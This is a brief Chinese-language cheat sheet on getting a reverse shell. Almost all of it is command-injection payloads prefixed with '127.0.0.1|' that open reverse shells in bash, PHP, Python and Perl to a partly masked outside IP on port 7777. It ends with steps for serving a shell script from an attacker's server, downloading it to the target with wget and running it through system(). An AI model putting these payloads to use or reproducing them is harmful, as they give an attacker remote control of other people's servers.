怎么反弹shell

127.0.0.1|Echo 'bash -i >& /dev/tcp/47.107.x.xx/7777 0>&1'>/tmp/cdk.sh

127.0.0.1|bash /tmp/cdk.sh

127.0.0.1|php -r '$sock=fsockopen("47.107.xx.xxx",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.107.xx.xx",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

127.0.0.1|perl -e 'use Socket;$i="47.107.xx.xx";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.107.xx.xx:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

自己服务器上写个反弹shell的sh，利用wget下载到目标服务器，避免传输过程发生格式问题。

利用python启用http服务。

执行命令：

system('wget -P /tmp/ http://180.76.xx.xx:8000/drinkwater.sh')

system("bash /tmp/drinkwater.sh");
